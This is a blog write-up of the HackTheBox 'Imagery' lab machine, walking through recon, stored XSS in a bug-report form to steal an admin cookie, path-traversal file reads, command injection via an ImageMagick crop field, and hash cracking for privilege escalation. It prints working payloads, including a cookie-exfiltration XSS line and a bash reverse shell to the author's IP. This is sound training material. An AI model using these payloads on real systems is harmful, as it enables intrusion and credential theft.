Home
//
writeups
//
hackthebox-imagery-medium-experience
Write-upNovember 15, 202514 min read

HackTheBox -- Imagery (MEDIUM) Experience

I’ll walk through my experience tackling the HackTheBox "Imagery" CTF (Medium). I'll showcase my thought process, tools, and methods as I work through each stage — whether I succeed or hit roadblocks. The goal isn't just solving it, but highlighting how I approach challenges and sharpen my skills along the way. As of now this machine remains unsolved.

MediumXSS

ImageryCard

### Intro

This write‑up contains spoilers for the entire user flag.

This was my first time attempting a medium-difficulty machine on Hack The Box. Before starting, I searched for write-ups and passed one of them to an AI assistant, instructing it not to reveal any solutions and only give hints when requested. From there, I worked through the machine step by step, using the hints and my own analysis to reach the final root.

### Reconnaissance

I started this box with a simple nmap scan.

code
nmap -sC -sV -oA nmap/nmap 10.10.11.88

This nmap scan reveals the following information.

bash
Starting Nmap 7.98 ( https://nmap.org ) at 2025-11-15 11:04 +0800
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 7.00% done; ETC: 11:04 (0:00:13 remaining)
Nmap scan report for 10.10.11.88
Host is up (0.21s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.65 seconds

Port 8000 is running a Python Werkzeug HTTP service. Werkzeug is a WSGI utility allowing web servers to communicate with Python frameworks and applications.

Upon doing some research about that service, I gather that Werkzeug is a WSGI Web-Server Gateway Interface, a utility that allows web servers to communicate with python framewarks and applications.


### Web App Review

I navigate to that URL.

code
http://10.10.11.88:8000

Screenshots/home

This appears to be a cloud storage service where users upload images. I suspected vulnerabilities such as XSS or SQL injection early on.

I created an account and logged in, arriving at the upload page.


### Upload Page

Screenshots/uploadpage

I tested for XSS using a bold tag in the title.

Screenshots/XXStesting1

Sanitization blocked the input, so I tried: <<"B>>Something<</B">

Screenshots/XSStesting2

It still didn’t work. I asked the AI assistant for a hint:

Focus on the web app’s user flows, not the ports. One flow involves user-generated content reviewed by someone else. Anything that auto-loads in an admin’s browser becomes an opportunity.

I then remembered a page I had ignored earlier: Report a Bug.


### Report A Bug Page

Screenshots/Report A bug

There is no way I could see if the XSS worked if I tried what I tried earlier with the upload image page. So I need some sort of work around.

I could not directly test XSS here, so I attempted to make the server "ping" my machine using:

code
 fetch('10.10.15.30:4337')

In order to see if that could "ping" my machine, ofcourse I had a nc listerner running on port 4337.

Screenshots/FetchmyConsole

This worked so I went and reported this bug.

Screenshots/ReportBug1

And started the listner

Only to recieve the nothing for a while. But then;

Screenshots/reportBugTerm1

I couldn't think of much else to do so I asked for another hint.

Right now, everything you’re doing is causing the server to make requests. You need something that forces a browser to make the request instead. Browsers behave differently — they can send things servers won’t.

First thing that came to mind was cookies. So I search up how to get the cookies and found that I need to morph my command;

code
<img src=1 onerror="document.location='http://10.10.15.30:4337/steal/' + document.cookie">

I recieved this on my end after a long wait.

Screenshots/reportbugterm2

We now have a cookie which we know is for an admin account since the success message of the report bug page says that an admin will review it.

Replacing my cookie with the admin's cookie launches me into an admin account and an admin panel tab is presented.

Screenshots/adminpanel


### Local File Inclusion

The admin panel has a log download feature:

It makes this GET request to the backend.

code
http://10.10.11.88:8000/admin/get_system_log?log_identifier=admin%40imagery.htb.log```
This might be vulnerable to some sort of LFI, so I'll try returning ```/etc/passwd``` using; ```http://10.10.11.88:8000/admin/get_system_log?log_identifier=../../../../../../../etc/passwd

Testing for LFI;

code
http://10.10.11.88:8000/admin/get_system_log?log_identifier=../../../../../../../etc/passwd

Screenshots/etcpasswd

The system revealed two users: web and mark.

Requesting /etc/shadow returned a permission error:

code
{"message":"Error reading file: [Errno 13] Permission denied: '/home/web/web/system_logs/../../../../../../../etc/shadow'","success":false}

I explored Python config files (config.py, app.py) and found api_edit.py, which contained credentials for testuser@imagery.htb in MD5:

code
2c65c8d7bfbca32a3ed42596192384f6

Cracking it using john the password is;

code
*********

I could use that to log into testuser@imagery.com but why would I?


### Command Injection

There is a function

code
/convert_image
.

Screenshots/convertImageCode

If statement checks if the account is a test user and in the db.json file

code
testuser
is indeed a test user.

There has to be a use for the testuser credentials.

One transform option is crop, which executes an IMAGEMAGICK command with shell=True — a possible command injection point.

Screenshots/IMAGEMAGICKTHIG

Logging in as testuser, I uploaded an image, intercepted the request in Burp Suite, and injected:

code
bash -c 'bash -i >& /dev/tcp/10.10.15.30/4337 0>&1'

I know that the command is going to look like;

code
{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}

"y" variable is the last thing so I will put my command there.

Screenshots/shell1

He's the goat

Shell obtained. Stabilized with:

code
python3 -c 'import pty;pty.spawn("/bin/bash")'

and

code
export TERM=xterm
to clear


### Privilege Escalation

linpeas indicated a backup file in

code
/var/backup
encrypted with .aes.

I extracted the hash using

code
aescrypt2hashcat.pl
and cracked it with Hashcat module 22400:

code
hashcat -m 22400 hash.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

This step almost made me give up on the box, I did everything; looked for the password some where and even made a python3 script that used rockyou.txt and ran it went to bed and woke up with no hits.

A built-in script decrypted the file. It contained a

code
db.json 
resembling the web app root, including mark’s hashed password.

Cracking mark’s hash:

code
john markcred.txt --format=raw-md5 --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

We get a password for mark.


### Final Steps

Couldn't ssh into mark from my machine or the shell.

Mark’s password allowed su in the shell.

The user flag was retrieved successfully.


### Reminder

Let me remind you again of our brothers and sisters suffering in Palestine, Sudan, and specifically El‑Fasher. Consider supporting them financially if you’re able — any amount helps — through trusted organizations such as the Palestine; Global Rahmah Foundation and Sudan; Humanity Increased.